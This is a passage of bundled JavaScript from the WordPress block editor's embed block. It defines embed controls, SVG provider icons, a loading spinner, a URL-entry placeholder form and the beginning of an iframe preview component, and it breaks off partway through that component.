  var import_components36 = __toESM(require_components(), 1);
  var import_block_editor72 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime229 = __toESM(require_jsx_runtime(), 1);
  function getResponsiveHelp(checked) {
    return checked ? (0, import_i18n57.__)(
      "This embed will preserve its aspect ratio when the browser is resized."
    ) : (0, import_i18n57.__)(
      "This embed may not preserve its aspect ratio when the browser is resized."
    );
  }
  var EmbedControls = ({
    blockSupportsResponsive,
    showEditButton,
    themeSupportsResponsive,
    allowResponsive,
    toggleResponsive,
    switchBackToURLInput
  }) => {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime229.jsxs)(import_jsx_runtime229.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(import_block_editor72.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(import_components36.ToolbarGroup, { children: showEditButton && /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(
        import_components36.ToolbarButton,
        {
          className: "components-toolbar__control",
          label: (0, import_i18n57.__)("Edit URL"),
          icon: pencil_default,
          onClick: switchBackToURLInput
        }
      ) }) }),
      themeSupportsResponsive && blockSupportsResponsive && /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(import_block_editor72.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(
        import_components36.__experimentalToolsPanel,
        {
          label: (0, import_i18n57.__)("Media settings"),
          resetAll: () => {
            toggleResponsive(true);
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(
            import_components36.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n57.__)("Media settings"),
              isShownByDefault: true,
              hasValue: () => !allowResponsive,
              onDeselect: () => {
                toggleResponsive(!allowResponsive);
              },
              children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(
                import_components36.ToggleControl,
                {
                  label: (0, import_i18n57.__)("Resize for smaller devices"),
                  checked: allowResponsive,
                  help: getResponsiveHelp,
                  onChange: toggleResponsive
                }
              )
            }
          )
        }
      ) })
    ] });
  };
  var embed_controls_default = EmbedControls;

  // packages/block-library/build-module/embed/icons.mjs
  var import_components37 = __toESM(require_components(), 1);
  var import_jsx_runtime230 = __toESM(require_jsx_runtime(), 1);
  var embedContentIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zm-6-9.5L16 12l-2.5 2.8 1.1 1L18 12l-3.5-3.5-1 1zm-3 0l-1-1L6 12l3.5 3.8 1.1-1L8 12l2.5-2.5z" }) });
  var embedAudioIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM13.2 7.7c-.4.4-.7 1.1-.7 1.9v3.7c-.4-.3-.8-.4-1.3-.4-1.2 0-2.2 1-2.2 2.2 0 1.2 1 2.2 2.2 2.2.5 0 1-.2 1.4-.5.9-.6 1.4-1.6 1.4-2.6V9.6c0-.4.1-.6.2-.8.3-.3 1-.3 1.6-.3h.2V7h-.2c-.7 0-1.8 0-2.6.7z" }) });
  var embedPhotoIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM9.2 4.5H19c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V9.8l4.6-5.3zm9.8 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z" }) });
  var embedVideoIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM10 15l5-3-5-3v6z" }) });
  var embedTwitterIcon = {
    foreground: "#000000",
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" }) })
  };
  var embedYouTubeIcon = {
    foreground: "#ff0000",
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M21.8 8s-.195-1.377-.795-1.984c-.76-.797-1.613-.8-2.004-.847-2.798-.203-6.996-.203-6.996-.203h-.01s-4.197 0-6.996.202c-.39.046-1.242.05-2.003.846C2.395 6.623 2.2 8 2.2 8S2 9.62 2 11.24v1.517c0 1.618.2 3.237.2 3.237s.195 1.378.795 1.985c.76.797 1.76.77 2.205.855 1.6.153 6.8.2 6.8.2s4.203-.005 7-.208c.392-.047 1.244-.05 2.005-.847.6-.607.795-1.985.795-1.985s.2-1.618.2-3.237v-1.517C22 9.62 21.8 8 21.8 8zM9.935 14.595v-5.62l5.403 2.82-5.403 2.8z" }) })
  };
  var embedFacebookIcon = {
    foreground: "#3b5998",
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M20 3H4c-.6 0-1 .4-1 1v16c0 .5.4 1 1 1h8.6v-7h-2.3v-2.7h2.3v-2c0-2.3 1.4-3.6 3.5-3.6 1 0 1.8.1 2.1.1v2.4h-1.4c-1.1 0-1.3.5-1.3 1.3v1.7h2.7l-.4 2.8h-2.3v7H20c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1z" }) })
  };
  var embedInstagramIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.G, { children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M12 4.622c2.403 0 2.688.01 3.637.052.877.04 1.354.187 1.67.31.42.163.72.358 1.036.673.315.315.51.615.673 1.035.123.317.27.794.31 1.67.043.95.052 1.235.052 3.638s-.01 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.67-.163.42-.358.72-.673 1.036-.315.315-.615.51-1.035.673-.317.123-.794.27-1.67.31-.95.043-1.234.052-3.638.052s-2.688-.01-3.637-.052c-.877-.04-1.354-.187-1.67-.31-.42-.163-.72-.358-1.036-.673-.315-.315-.51-.615-.673-1.035-.123-.317-.27-.794-.31-1.67-.043-.95-.052-1.235-.052-3.638s.01-2.688.052-3.637c.04-.877.187-1.354.31-1.67.163-.42.358-.72.673-1.036.315-.315.615-.51 1.035-.673.317-.123.794-.27 1.67-.31.95-.043 1.235-.052 3.638-.052M12 3c-2.444 0-2.75.01-3.71.054s-1.613.196-2.185.418c-.592.23-1.094.538-1.594 1.04-.5.5-.807 1-1.037 1.593-.223.572-.375 1.226-.42 2.184C3.01 9.25 3 9.555 3 12s.01 2.75.054 3.71.196 1.613.418 2.186c.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.266.054 3.71.054s2.75-.01 3.71-.054 1.613-.196 2.186-.418c.592-.23 1.094-.538 1.594-1.038s.808-1.002 1.038-1.594c.222-.572.375-1.227.418-2.185.044-.96.054-1.266.054-3.71s-.01-2.75-.054-3.71-.196-1.613-.418-2.186c-.23-.592-.538-1.094-1.038-1.594s-1.002-.808-1.594-1.038c-.572-.222-1.227-.375-2.185-.418C14.75 3.01 14.445 3 12 3zm0 4.378c-2.552 0-4.622 2.07-4.622 4.622s2.07 4.622 4.622 4.622 4.622-2.07 4.622-4.622S14.552 7.378 12 7.378zM12 15c-1.657 0-3-1.343-3-3s1.343-3 3-3 3 1.343 3 3-1.343 3-3 3zm4.804-8.884c-.596 0-1.08.484-1.08 1.08s.484 1.08 1.08 1.08c.596 0 1.08-.484 1.08-1.08s-.483-1.08-1.08-1.08z" }) }) });
  var embedWordPressIcon = {
    foreground: "#0073AA",
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.G, { children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M12.158 12.786l-2.698 7.84c.806.236 1.657.365 2.54.365 1.047 0 2.05-.18 2.986-.51-.024-.037-.046-.078-.065-.123l-2.762-7.57zM3.008 12c0 3.56 2.07 6.634 5.068 8.092L3.788 8.342c-.5 1.117-.78 2.354-.78 3.658zm15.06-.454c0-1.112-.398-1.88-.74-2.48-.456-.74-.883-1.368-.883-2.11 0-.825.627-1.595 1.51-1.595.04 0 .078.006.116.008-1.598-1.464-3.73-2.36-6.07-2.36-3.14 0-5.904 1.613-7.512 4.053.21.008.41.012.58.012.94 0 2.395-.114 2.395-.114.484-.028.54.684.057.74 0 0-.487.058-1.03.086l3.275 9.74 1.968-5.902-1.4-3.838c-.485-.028-.944-.085-.944-.085-.486-.03-.43-.77.056-.742 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.486-.028.543.684.058.74 0 0-.488.058-1.03.086l3.25 9.665.897-2.997c.456-1.17.684-2.137.684-2.907zm1.82-3.86c.04.286.06.593.06.924 0 .912-.17 1.938-.683 3.22l-2.746 7.94c2.672-1.558 4.47-4.454 4.47-7.77 0-1.564-.4-3.033-1.1-4.314zM12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10z" }) }) })
  };
  var embedSpotifyIcon = {
    foreground: "#1db954",
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m4.586 14.424c-.18.295-.563.387-.857.207-2.35-1.434-5.305-1.76-8.786-.963-.335.077-.67-.133-.746-.47-.077-.334.132-.67.47-.745 3.808-.87 7.076-.496 9.712 1.115.293.18.386.563.206.857M17.81 13.7c-.226.367-.706.482-1.072.257-2.687-1.652-6.785-2.13-9.965-1.166-.413.127-.848-.106-.973-.517-.125-.413.108-.848.52-.973 3.632-1.102 8.147-.568 11.234 1.328.366.226.48.707.256 1.072m.105-2.835C14.692 8.95 9.375 8.775 6.297 9.71c-.493.15-1.016-.13-1.166-.624-.148-.495.13-1.017.625-1.167 3.532-1.073 9.404-.866 13.115 1.337.445.264.59.838.327 1.282-.264.443-.838.59-1.282.325" }) })
  };
  var embedFlickrIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "m6.5 7c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5zm11 0c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5z" }) });
  var embedVimeoIcon = {
    foreground: "#1ab7ea",
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.G, { children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M22.396 7.164c-.093 2.026-1.507 4.8-4.245 8.32C15.323 19.16 12.93 21 10.97 21c-1.214 0-2.24-1.12-3.08-3.36-.56-2.052-1.118-4.105-1.68-6.158-.622-2.24-1.29-3.36-2.004-3.36-.156 0-.7.328-1.634.98l-.978-1.26c1.027-.903 2.04-1.806 3.037-2.71C6 3.95 7.03 3.328 7.716 3.265c1.62-.156 2.616.95 2.99 3.32.404 2.558.685 4.148.84 4.77.468 2.12.982 3.18 1.543 3.18.435 0 1.09-.687 1.963-2.064.872-1.376 1.34-2.422 1.402-3.142.125-1.187-.343-1.782-1.4-1.782-.5 0-1.013.115-1.542.34 1.023-3.35 2.977-4.976 5.862-4.883 2.14.063 3.148 1.45 3.024 4.16z" }) }) })
  };
  var embedRedditIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M22 12.068a2.184 2.184 0 0 0-2.186-2.186c-.592 0-1.13.233-1.524.609-1.505-1.075-3.566-1.774-5.86-1.864l1.004-4.695 3.261.699A1.56 1.56 0 1 0 18.255 3c-.61-.001-1.147.357-1.398.877l-3.638-.77a.382.382 0 0 0-.287.053.348.348 0 0 0-.161.251l-1.112 5.233c-2.33.072-4.426.77-5.95 1.864a2.201 2.201 0 0 0-1.523-.61 2.184 2.184 0 0 0-.896 4.176c-.036.215-.053.43-.053.663 0 3.37 3.924 6.111 8.763 6.111s8.763-2.724 8.763-6.11c0-.216-.017-.449-.053-.664A2.207 2.207 0 0 0 22 12.068Zm-15.018 1.56a1.56 1.56 0 0 1 3.118 0c0 .86-.699 1.558-1.559 1.558-.86.018-1.559-.699-1.559-1.559Zm8.728 4.139c-1.076 1.075-3.119 1.147-3.71 1.147-.61 0-2.652-.09-3.71-1.147a.4.4 0 0 1 0-.573.4.4 0 0 1 .574 0c.68.68 2.114.914 3.136.914 1.022 0 2.473-.233 3.136-.914a.4.4 0 0 1 .574 0 .436.436 0 0 1 0 .573Zm-.287-2.563a1.56 1.56 0 0 1 0-3.118c.86 0 1.56.699 1.56 1.56 0 .841-.7 1.558-1.56 1.558Z" }) });
  var embedTumblrIcon = {
    foreground: "#35465c",
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M19 3H5a2 2 0 00-2 2v14c0 1.1.9 2 2 2h14a2 2 0 002-2V5a2 2 0 00-2-2zm-5.69 14.66c-2.72 0-3.1-1.9-3.1-3.16v-3.56H8.49V8.99c1.7-.62 2.54-1.99 2.64-2.87 0-.06.06-.41.06-.58h1.9v3.1h2.17v2.3h-2.18v3.1c0 .47.13 1.3 1.2 1.26h1.1v2.36c-1.01.02-2.07 0-2.07 0z" }) })
  };
  var embedAmazonIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsxs)(import_components37.SVG, { viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M18.42 14.58c-.51-.66-1.05-1.23-1.05-2.5V7.87c0-1.8.15-3.45-1.2-4.68-1.05-1.02-2.79-1.35-4.14-1.35-2.6 0-5.52.96-6.12 4.14-.06.36.18.54.4.57l2.66.3c.24-.03.42-.27.48-.5.24-1.12 1.17-1.63 2.2-1.63.56 0 1.22.21 1.55.7.4.56.33 1.31.33 1.97v.36c-1.59.18-3.66.27-5.16.93a4.63 4.63 0 0 0-2.93 4.44c0 2.82 1.8 4.23 4.1 4.23 1.95 0 3.03-.45 4.53-1.98.51.72.66 1.08 1.59 1.83.18.09.45.09.63-.1v.04l2.1-1.8c.24-.21.2-.48.03-.75zm-5.4-1.2c-.45.75-1.14 1.23-1.92 1.23-1.05 0-1.65-.81-1.65-1.98 0-2.31 2.1-2.73 4.08-2.73v.6c0 1.05.03 1.92-.5 2.88z" }),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M21.69 19.2a17.62 17.62 0 0 1-21.6-1.57c-.23-.2 0-.5.28-.33a23.88 23.88 0 0 0 20.93 1.3c.45-.19.84.3.39.6z" }),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M22.8 17.96c-.36-.45-2.22-.2-3.1-.12-.23.03-.3-.18-.05-.36 1.5-1.05 3.96-.75 4.26-.39.3.36-.1 2.82-1.5 4.02-.21.18-.42.1-.3-.15.3-.8 1.02-2.58.69-3z" })
  ] });
  var embedAnimotoIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsxs)(import_components37.SVG, { viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: "m.0206909 21 19.8160091-13.07806 3.5831 6.20826z",
        fill: "#4bc7ee"
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: "m23.7254 19.0205-10.1074-17.18468c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418h22.5655c1.279 0 1.8019-.8905 1.1599-1.9795z",
        fill: "#d4cdcb"
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: "m.0206909 21 15.2439091-16.38571 4.3029 7.32271z",
        fill: "#c3d82e"
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: "m13.618 1.83582c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418 15.2646-16.38573z",
        fill: "#e4ecb0"
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "m.0206909 21 19.5468091-9.063 1.6621 2.8344z", fill: "#209dbd" }),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: "m.0206909 21 17.9209091-11.82623 1.6259 2.76323z",
        fill: "#7cb3c9"
      }
    )
  ] });
  var embedDailymotionIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
    import_components37.Path,
    {
      d: "M11.903 16.568c-1.82 0-3.124-1.281-3.124-2.967a2.987 2.987 0 0 1 2.989-2.989c1.663 0 2.944 1.304 2.944 3.034 0 1.663-1.281 2.922-2.81 2.922ZM17.997 3l-3.308.73v5.107c-.809-1.034-2.045-1.37-3.505-1.37-1.529 0-2.9.561-4.023 1.662-1.259 1.214-1.933 2.764-1.933 4.495 0 1.888.72 3.506 2.113 4.742 1.056.944 2.314 1.415 3.775 1.415 1.438 0 2.517-.382 3.573-1.415v1.415h3.308V3Z",
      fill: "#333436"
    }
  ) });
  var embedPinterestIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2" }) });
  var embedWolframIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 44 44", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: "M32.59521,22.001l4.31885-4.84473-6.34131-1.38379.646-6.459-5.94336,2.61035L22,6.31934l-3.27344,5.60351L12.78418,9.3125l.645,6.458L7.08643,17.15234,11.40479,21.999,7.08594,26.84375l6.34131,1.38379-.64551,6.458,5.94287-2.60938L22,37.68066l3.27344-5.60351,5.94287,2.61035-.64551-6.458,6.34277-1.38183Zm.44385,2.75244L30.772,23.97827l-1.59558-2.07391,1.97888.735Zm-8.82147,6.1579L22.75,33.424V30.88977l1.52228-2.22168ZM18.56226,13.48816,19.819,15.09534l-2.49219-.88642L15.94037,12.337Zm6.87719.00116,2.62043-1.15027-1.38654,1.86981L24.183,15.0946Zm3.59357,2.6029-1.22546,1.7381.07525-2.73486,1.44507-1.94867ZM22,29.33008l-2.16406-3.15686L22,23.23688l2.16406,2.93634Zm-4.25458-9.582-.10528-3.836,3.60986,1.284v3.73242Zm5.00458-2.552,3.60986-1.284-.10528,3.836L22.75,20.92853Zm-7.78174-1.10559-.29352-2.94263,1.44245,1.94739.07519,2.73321Zm2.30982,5.08319,3.50817,1.18164-2.16247,2.9342-3.678-1.08447Zm2.4486,7.49285L21.25,30.88977v2.53485L19.78052,30.91Zm3.48707-6.31121,3.50817-1.18164,2.33228,3.03137-3.678,1.08447Zm10.87219-4.28113-2.714,3.04529L28.16418,19.928l1.92176-2.72565ZM24.06036,12.81769l-2.06012,2.6322-2.059-2.63318L22,9.292ZM9.91455,18.07227l4.00079-.87195,1.921,2.72735-3.20794,1.19019Zm2.93024,4.565,1.9801-.73462L13.228,23.97827l-2.26838.77429Zm-1.55591,3.58819L13.701,25.4021l2.64935.78058-2.14447.67853Zm3.64868,1.977L18.19,27.17334l.08313,3.46332L14.52979,32.2793Zm10.7876,2.43549.08447-3.464,3.25165,1.03052.407,4.07684Zm4.06824-3.77478-2.14545-.68,2.65063-.781,2.41266.825Z" }) });
  var embedPocketCastsIcon = {
    foreground: "#f43e37",
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsxs)(
      import_components37.SVG,
      {
        width: "24",
        height: "24",
        viewBox: "0 0 24 24",
        fill: "none",
        xmlns: "http://www.w3.org/2000/svg",
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
            import_components37.Path,
            {
              fillRule: "evenodd",
              clipRule: "evenodd",
              d: "M24,12A12,12,0,1,1,12,0,12,12,0,0,1,24,12Z"
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
            import_components37.Path,
            {
              fillRule: "evenodd",
              clipRule: "evenodd",
              d: "M2.67,12a9.33,9.33,0,0,1,18.66,0H19a7,7,0,1,0-7,7v2.33A9.33,9.33,0,0,1,2.67,12ZM12,17.6A5.6,5.6,0,1,1,17.6,12h-2A3.56,3.56,0,1,0,12,15.56Z",
              fill: "#fff"
            }
          )
        ]
      }
    )
  };
  var embedBlueskyIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
    import_components37.Path,
    {
      fill: "#0a7aff",
      d: "M6.3,4.2c2.3,1.7,4.8,5.3,5.7,7.2.9-1.9,3.4-5.4,5.7-7.2,1.7-1.3,4.3-2.2,4.3.9s-.4,5.2-.6,5.9c-.7,2.6-3.3,3.2-5.6,2.8,4,.7,5.1,3,2.9,5.3-5,5.2-6.7-2.8-6.7-2.8,0,0-1.7,8-6.7,2.8-2.2-2.3-1.2-4.6,2.9-5.3-2.3.4-4.9-.3-5.6-2.8-.2-.7-.6-5.3-.6-5.9,0-3.1,2.7-2.1,4.3-.9h0Z"
    }
  ) });

  // packages/block-library/build-module/embed/embed-loading.mjs
  var import_components38 = __toESM(require_components(), 1);
  var import_jsx_runtime231 = __toESM(require_jsx_runtime(), 1);
  var EmbedLoading = () => /* @__PURE__ */ (0, import_jsx_runtime231.jsx)("div", { className: "wp-block-embed is-loading", children: /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(import_components38.Spinner, {}) });
  var embed_loading_default = EmbedLoading;

  // packages/block-library/build-module/embed/embed-placeholder.mjs
  var import_i18n58 = __toESM(require_i18n(), 1);
  var import_components39 = __toESM(require_components(), 1);
  var import_block_editor73 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime232 = __toESM(require_jsx_runtime(), 1);
  var EmbedPlaceholder = ({
    icon: icon4,
    label,
    value,
    onSubmit,
    onChange,
    cannotEmbed,
    fallback: fallback2,
    tryAgain
  }) => {
    return /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(
      import_components39.Placeholder,
      {
        icon: /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(import_block_editor73.BlockIcon, { icon: icon4, showColors: true }),
        label,
        className: "wp-block-embed",
        instructions: (0, import_i18n58.__)(
          "Paste a link to the content you want to display on your site."
        ),
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)("form", { onSubmit, children: [
            /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
              import_components39.__experimentalInputControl,
              {
                __next40pxDefaultSize: true,
                type: "url",
                value: value || "",
                className: "wp-block-embed__placeholder-input",
                label,
                hideLabelFromVision: true,
                placeholder: (0, import_i18n58.__)("Enter URL to embed here\u2026"),
                onChange
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(import_components39.Button, { __next40pxDefaultSize: true, variant: "primary", type: "submit", children: (0, import_i18n58._x)("Embed", "button label") })
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime232.jsx)("div", { className: "wp-block-embed__learn-more", children: /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
            import_components39.ExternalLink,
            {
              href: (0, import_i18n58.__)(
                "https://wordpress.org/documentation/article/embeds/"
              ),
              children: (0, import_i18n58.__)("Learn more about embeds")
            }
          ) }),
          cannotEmbed && /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(import_components39.__experimentalVStack, { spacing: 3, className: "components-placeholder__error", children: [
            /* @__PURE__ */ (0, import_jsx_runtime232.jsx)("div", { className: "components-placeholder__instructions", children: (0, import_i18n58.__)("Sorry, this content could not be embedded.") }),
            /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(
              import_components39.__experimentalHStack,
              {
                expanded: false,
                spacing: 3,
                justify: "flex-start",
                children: [
                  /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
                    import_components39.Button,
                    {
                      __next40pxDefaultSize: true,
                      variant: "secondary",
                      onClick: tryAgain,
                      children: (0, import_i18n58._x)("Try again", "button label")
                    }
                  ),
                  " ",
                  /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
                    import_components39.Button,
                    {
                      __next40pxDefaultSize: true,
                      variant: "secondary",
                      onClick: fallback2,
                      children: (0, import_i18n58._x)("Convert to link", "button label")
                    }
                  )
                ]
              }
            )
          ] })
        ]
      }
    );
  };
  var embed_placeholder_default = EmbedPlaceholder;

  // packages/block-library/build-module/embed/embed-preview.mjs
  var import_i18n59 = __toESM(require_i18n(), 1);
  var import_components40 = __toESM(require_components(), 1);
  var import_block_editor74 = __toESM(require_block_editor(), 1);
  var import_element27 = __toESM(require_element(), 1);
  var import_url5 = __toESM(require_url(), 1);

  // packages/block-library/build-module/embed/wp-embed-preview.mjs
  var import_compose18 = __toESM(require_compose(), 1);
  var import_element26 = __toESM(require_element(), 1);
  var import_jsx_runtime233 = __toESM(require_jsx_runtime(), 1);
  var attributeMap = {
    class: "className",
    frameborder: "frameBorder",
    marginheight: "marginHeight",
    marginwidth: "marginWidth"
  };
  function WpEmbedPreview({ html }) {
    const ref = (0, import_element26.useRef)();
    const props = (0, import_element26.useMemo)(() => {
      const doc = new window.DOMParser().parseFromString(html, "text/html");
      const iframe = doc.querySelector("iframe");
      const iframeProps = {};
      if (!iframe) {
        return iframeProps;
      }
      Array.from(iframe.attributes).forEach(({ name: name123, value }) => {
        if (name123 === "style") {
          return;
        }
        iframeProps[attributeMap[name123] || name123] = value;
      });
      return iframeProps;
    }, [html]);
    (0, import_element26.useEffect)(() => {
